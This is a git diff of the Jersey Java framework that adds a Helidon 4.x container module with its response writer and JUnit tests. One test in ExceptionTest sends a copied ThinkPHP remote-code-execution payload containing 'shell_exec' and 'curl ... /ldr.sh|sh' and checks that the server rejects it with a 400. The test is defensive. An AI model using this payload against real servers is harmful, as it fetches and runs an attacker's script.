+                }
+            }
+            for (Map.Entry<String, List<String>> entry : containerResponse.getStringHeaders().entrySet()) {
+                String name = entry.getKey();
+                List<String> values = entry.getValue();
+                if (values.size() == 1) {
+                    res.header(HeaderValues.create(HeaderNames.create(name), values.get(0)));
+                } else {
+                    res.header(HeaderValues.create(entry.getKey(), entry.getValue()));
+                }
+            }
+            Response.StatusType statusInfo = containerResponse.getStatusInfo();
+            res.status(Status.create(statusInfo.getStatusCode(), statusInfo.getReasonPhrase()));
+
+            if (contentLength > 0) {
+                res.header(HeaderValues.create(HeaderNames.CONTENT_LENGTH, String.valueOf(contentLength)));
+            }
+            this.outputStream = res.outputStream();
+            return outputStream;
+        }
+
+        @Override
+        public boolean suspend(long timeOut, TimeUnit timeUnit, TimeoutHandler timeoutHandler) {
+            if (timeOut != 0) {
+                try {
+                    cdl.await(timeOut, timeUnit);
+                } catch (InterruptedException e) {
+                    throw new RuntimeException(e);
+                }
+                timeoutHandler.onTimeout(this);
+                //throw new UnsupportedOperationException("Currently, time limited suspension is not supported!");
+            }
+            return true;
+        }
+
+        @Override
+        public void setSuspendTimeout(long l, TimeUnit timeUnit) throws IllegalStateException {
+            //throw new UnsupportedOperationException("Currently, extending the suspension time is not supported!");
+        }
+
+        @Override
+        public void commit() {
+            try {
+                if (outputStream == null) {
+                    res.outputStream().close();
+                } else {
+                    outputStream.close();
+                }
+                cdl.countDown();
+            } catch (IOException e) {
+                cdl.countDown();
+                throw new UncheckedIOException(e);
+            }
+        }
+
+        @Override
+        public void failure(Throwable throwable) {
+            cdl.countDown();
+
+            if (throwable instanceof RuntimeException) {
+                throw (RuntimeException) throwable;
+            }
+            throw new InternalServerException("Failed to process JAX-RS request", throwable);
+        }
+
+        @Override
+        public boolean enableResponseBuffering() {
+            return true;        // enable buffering in Jersey
+        }
+
+        public void await() {
+            try {
+                cdl.await();
+            } catch (InterruptedException e) {
+                throw new RuntimeException("Failed to wait for Jersey to write response");
+            }
+        }
+    }
+
+    private static class BaseUriRequestUri {
+        private final URI baseUri;
+        private final URI requestUri;
+
+        private BaseUriRequestUri(URI baseUri, URI requestUri) {
+            this.baseUri = baseUri;
+            this.requestUri = requestUri;
+        }
+
+        private static BaseUriRequestUri resolve(ServerRequest req) {
+            final String processedBasePath = basePath(req.path());
+            final String rawPath = req.path().absolute().rawPath();
+            final String prefix = (req.isSecure() ? "https" : "http") + "://" + req.authority();
+            final String serverBasePath = prefix + processedBasePath;
+            String requestPath = prefix + rawPath;
+            if (!req.query().isEmpty()) {
+                requestPath = requestPath + "?" + req.query().rawValue();
+            }
+            return new BaseUriRequestUri(URI.create(serverBasePath), URI.create(requestPath));
+        }
+    }
+}
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/package-info.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java
similarity index 79%
copy from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/package-info.java
copy to containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java
index e0875ca..6e6722d 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/package-info.java
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,6 +15,6 @@
  */
 
 /**
- * Jersey internal Servlet SPI.
+ * Jersey Helidon 4.x container classes.
  */
-package org.glassfish.jersey.servlet.internal.spi;
+package org.glassfish.jersey.helidon;
diff --git a/containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 0000000..bfb69f7
--- /dev/null
+++ b/containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.helidon.HelidonHttpContainerProvider
\ No newline at end of file
diff --git a/containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties b/containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties
new file mode 100644
index 0000000..9d1ce40
--- /dev/null
+++ b/containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties
@@ -0,0 +1,17 @@
+#
+# Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+reload.not.supported=Server cannot be stopped and restarted, please create a new server
\ No newline at end of file
diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java
new file mode 100644
index 0000000..bb52006
--- /dev/null
+++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.webserver.WebServer;
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.junit.jupiter.api.AfterEach;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+public abstract class AbstractHelidonServerTester {
+    private static final Logger LOGGER = Logger.getLogger(AbstractHelidonServerTester.class.getName());
+
+    public static final String CONTEXT = "";
+    private static final int DEFAULT_PORT = 0; // rather Helidon choose than 9998
+
+    /**
+     * Get the port to be used for test application deployments.
+     *
+     * @return The HTTP port of the URI
+     */
+    protected final int getPort() {
+        if (server != null) {
+            return server.port();
+        }
+
+        final String value = PropertiesHelper.getSystemProperty("jersey.config.test.container.port").run();
+        if (value != null) {
+
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
+                }
+                return i;
+            } catch (NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid non-negative integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+        return DEFAULT_PORT;
+    }
+
+    private final int getPort(RuntimeType runtimeType) {
+        switch (runtimeType) {
+            case SERVER:
+                return getPort();
+            case CLIENT:
+                return server.port();
+            default:
+                throw new IllegalStateException("Unexpected runtime type");
+        }
+    }
+
+    private volatile WebServer server;
+
+    public UriBuilder getUri() {
+        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+    }
+
+    public void startServer(Class<?>... resources) {
+        ResourceConfig config = new ResourceConfig(resources);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        startServer(config);
+    }
+
+    public void startServer(ResourceConfig config) {
+        final URI baseUri = getBaseUri();
+        if (server == null) {
+            server = HelidonHttpContainerBuilder.builder()
+                    .uri(baseUri)
+                    .application(config)
+                    .build();
+        }
+        server.start();
+        LOGGER.log(Level.INFO, "Helidon-http server started on base uri: " + getBaseUri());
+    }
+
+    public URI getBaseUri() {
+        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+    }
+
+    public void stopServer() {
+        try {
+            server.stop();
+            server = null;
+            LOGGER.log(Level.INFO, "Helidon-http server stopped.");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @AfterEach
+    public void tearDown() {
+        if (server != null) {
+            stopServer();
+        }
+    }
+
+}
diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java
new file mode 100644
index 0000000..c47a2f0
--- /dev/null
+++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AsyncTest extends AbstractHelidonServerTester {
+
+    @Path("/async")
+    @SuppressWarnings("VoidMethodAnnotatedWithGET")
+    public static class AsyncResource {
+
+        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+        @GET
+        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(5000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("timeout")
+        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+                @Override
+                public void handleTimeout(final AsyncResponse asyncResponse) {
+                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+                            .build());
+                }
+            });
+            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(7000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("multiple-invocations")
+        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+            INVOCATION_COUNT.incrementAndGet();
+
+            new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    asyncResponse.resume("OK");
+                }
+            }).start();
+        }
+    }
+
+    private Client client;
+
+    @BeforeEach
+    public void setUp() throws Exception {
+        startServer(AsyncResource.class);
+        client = ClientBuilder.newClient();
+    }
+
+    @Override
+    @AfterEach
+    public void tearDown() {
+        super.tearDown();
+        client = null;
+    }
+
+    @Test
+    public void testAsyncGet() throws ExecutionException, InterruptedException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+        // get() waits for the response
+        assertEquals("DONE", response.readEntity(String.class));
+    }
+
+    @Test
+    @Disabled
+    public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+
+        // get() waits for the response
+        assertEquals(503, response.getStatus());
+        assertEquals("Operation time out.", response.readEntity(String.class));
+    }
+
+    /**
+     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+     */
+    @Test
+    public void testAsyncMultipleInvocations() throws Exception {
+        final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+        assertThat(response.getStatus(), is(200));
+        assertThat(response.readEntity(String.class), is("OK"));
+    }
+}
diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java
new file mode 100644
index 0000000..8a5fb52
--- /dev/null
+++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+import org.apache.hc.core5.http.HttpHost;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
+import org.apache.hc.client5.http.impl.classic.HttpClientBuilder;
+import org.apache.hc.core5.http.message.BasicClassicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractHelidonServerTester {
+    @Path("{status}")
+    public static class ExceptionResource {
+        @GET
+        public String get(@PathParam("status") int status) {
+            throw new WebApplicationException(status);
+        }
+
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+                + ".0.1/ldr.sh|sh";
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri + incorrectFragment);
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getCode());
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri.toString() + "/400");
+        request.addHeader("X-Forwarded-Host", "_foo.com");
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getCode());
+    }
+
+    @Test
+    public void test400StatusCode() throws IOException {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("400").build());
+        assertEquals(400, r.request().get(Response.class).getStatus());
+    }
+
+    @Test
+    public void test500StatusCode() {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("500").build());
+
+        assertEquals(500, r.request().get(Response.class).getStatus());
+    }
+}
diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java
new file mode 100644
index 0000000..8e27251
--- /dev/null
+++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractHelidonServerTester {
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        startServer(HelloWorldResource.class);
+        Client client = ClientBuilder.newClient();
+        Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(0, response.getLength());
+        assertEquals("foo/bar", response.getMediaType().toString());
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+}
+
diff --git a/containers/jdk-http/pom.xml b/containers/jdk-http/pom.xml
index 26c6214..892d039 100644
--- a/containers/jdk-http/pom.xml
+++ b/containers/jdk-http/pom.xml
@@ -34,12 +34,6 @@
 
     <dependencies>
         <dependency>
-            <groupId>commons-io</groupId>
-            <artifactId>commons-io</artifactId>
-            <scope>test</scope>
-            <version>${commons.io.version}</version>
-        </dependency>
-        <dependency>
             <groupId>org.hamcrest</groupId>
             <artifactId>hamcrest</artifactId>
             <scope>test</scope>
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
index 51385db..6e14841 100644
--- a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
+++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,9 +30,9 @@
 import javax.net.ssl.SSLContext;
 import javax.net.ssl.SSLHandshakeException;
 
-import org.apache.commons.io.IOUtils;
 import org.glassfish.jersey.SslConfigurator;
 import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
 
 import org.junit.jupiter.api.AfterEach;
@@ -195,9 +195,9 @@
 
 
         final SslConfigurator sslConfigClient = SslConfigurator.newInstance()
-                .trustStoreBytes(IOUtils.toByteArray(trustStore))
+                .trustStoreBytes(ReaderWriter.readFromAsBytes(trustStore))
                 .trustStorePassword(TRUSTSTORE_CLIENT_PWD)
-                .keyStoreBytes(IOUtils.toByteArray(keyStore))
+                .keyStoreBytes(ReaderWriter.readFromAsBytes(keyStore))
                 .keyPassword(KEYSTORE_CLIENT_PWD);
 
         return sslConfigClient.createSSLContext();
@@ -208,9 +208,9 @@
         final InputStream keyStore = JdkHttpsServerTest.class.getResourceAsStream(KEYSTORE_SERVER_FILE);
 
         final SslConfigurator sslConfigServer = SslConfigurator.newInstance()
-                .keyStoreBytes(IOUtils.toByteArray(keyStore))
+                .keyStoreBytes(ReaderWriter.readFromAsBytes(keyStore))
                 .keyPassword(KEYSTORE_SERVER_PWD)
-                .trustStoreBytes(IOUtils.toByteArray(trustStore))
+                .trustStoreBytes(ReaderWriter.readFromAsBytes(trustStore))
                 .trustStorePassword(TRUSTSTORE_SERVER_PWD);
 
         return sslConfigServer.createSSLContext();
diff --git a/containers/jersey-servlet-core/pom.xml b/containers/jersey-servlet-core/pom.xml
deleted file mode 100644
index f283e96..0000000
--- a/containers/jersey-servlet-core/pom.xml
+++ /dev/null
@@ -1,95 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <groupId>org.glassfish.jersey.containers</groupId>
-        <artifactId>project</artifactId>
-        <version>4.0.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-container-servlet-core</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-container-servlet-core</name>
-
-    <description>Jersey core Servlet 3.x implementation</description>
-
-    <dependencies>
-        <dependency>
-            <groupId>jakarta.servlet</groupId>
-            <artifactId>jakarta.servlet-api</artifactId>
-<!--            <version>${servlet6.version}</version>-->
-            <scope>provided</scope>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.persistence</groupId>
-            <artifactId>jakarta.persistence-api</artifactId>
-            <scope>provided</scope>
-            <optional>true</optional>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.inject</groupId>
-            <artifactId>jakarta.inject-api</artifactId>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-                <extensions>true</extensions>
-                <configuration>
-                    <instructions>
-                        <!-- Note: When you're changing these properties change them also in bundles/jax-rs-ri/bundle/pom.xml. -->
-                        <Import-Package>
-                            jakarta.persistence.*;resolution:=optional,
-                            jakarta.servlet.*;version="[6.0,7.0)",
-                            ${jakarta.annotation.osgi.version},
-                            ${jakarta.rest.osgi.version},
-                            *
-                        </Import-Package>
-                        <Export-Package>org.glassfish.jersey.servlet.*</Export-Package>
-                    </instructions>
-                    <unpackBundle>true</unpackBundle>
-                </configuration>
-             </plugin>
-         </plugins>
-    </build>
-    <properties>
-        <surefire.coverage.argline>
-            --add-reads org.glassfish.jersey.container.servlet.core=ALL-UNNAMED
-            --add-modules=ALL-MODULE-PATH
-        </surefire.coverage.argline>
-    </properties>
-
-</project>
\ No newline at end of file
diff --git a/containers/jersey-servlet-core/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization b/containers/jersey-servlet-core/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
deleted file mode 100644
index 6bbf725..0000000
--- a/containers/jersey-servlet-core/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.servlet.ServletBootstrapPreinitialization
\ No newline at end of file
diff --git a/containers/jersey-servlet-core/src/test/java/org/glassfish/jersey/servlet/internal/ContextPathEncodingTest.java b/containers/jersey-servlet-core/src/test/java/org/glassfish/jersey/servlet/internal/ContextPathEncodingTest.java
deleted file mode 100644
index b447180..0000000
--- a/containers/jersey-servlet-core/src/test/java/org/glassfish/jersey/servlet/internal/ContextPathEncodingTest.java
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.servlet.internal;
-
-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import org.glassfish.jersey.internal.util.collection.Value;
-import org.glassfish.jersey.internal.util.collection.Values;
-import org.glassfish.jersey.servlet.ServletContainer;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-import java.io.IOException;
-import java.lang.reflect.InvocationHandler;
-import java.lang.reflect.Method;
-import java.lang.reflect.Proxy;
-import java.net.URI;
-
-/**
- * Context encoding test. See Jersey-4949.
- */
-public class ContextPathEncodingTest {
-    private static final String PATH = "A%20B";
-    private static final String CONTEXT = "c%20ntext";
-
-    @Test
-    public void contextEncodingTest() throws ServletException, IOException {
-        // In jetty maven plugin, context is set by
-        //<configuration>
-        //    <scan>10</scan>
-        //    <webApp>
-        //        <contextPath>/c ntext</contextPath>
-        //    </webApp>
-        //</configuration>
-
-        //Servlet path is not encoded, context is encoded
-        final ServletRequestValues servletRequestValues = new ServletRequestValues(
-                "/" + CONTEXT,
-                "",
-                "/" + CONTEXT + "/" + PATH
-        );
-        final EncodingTestServletContainer testServletContainer = new EncodingTestServletContainer(
-                "/" + CONTEXT + "/",
-                "/" + CONTEXT + "/" + PATH
-        );
-        EncodingTestData testData = new EncodingTestData(servletRequestValues, testServletContainer);
-
-        testData.test();
-    }
-
-    @Test
-    public void servletPathEncodingTest() throws ServletException, IOException {
-        //Servlet path is not encoded, context is encoded
-        final ServletRequestValues servletRequestValues = new ServletRequestValues(
-                "/",
-                "A B",
-                "/" + PATH + "/" + PATH
-        );
-        final EncodingTestServletContainer testServletContainer = new EncodingTestServletContainer(
-                "/" + PATH + "/",
-                "/" + PATH + "/" + PATH
-        );
-        EncodingTestData testData = new EncodingTestData(servletRequestValues, testServletContainer);
-
-        testData.test();
-    }
-
-    static class EncodingTestData {
-        final ServletRequestValues servletRequestValues;
-        final EncodingTestServletContainer encodingTestServletContainer;
-        final HttpServletRequest httpServletRequest;
-
-        EncodingTestData(ServletRequestValues servletRequestValues, EncodingTestServletContainer encodingTestServletContainer) {
-            this.servletRequestValues = servletRequestValues;
-            this.encodingTestServletContainer = encodingTestServletContainer;
-            this.httpServletRequest = (HttpServletRequest) Proxy.newProxyInstance(getClass().getClassLoader(),
-                    new Class[]{HttpServletRequest.class}, new InvocationHandler() {
-                        @Override
-                        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
-                           return servletRequestValues.handle(method.getName());
-                        }
-                    });
-        }
-
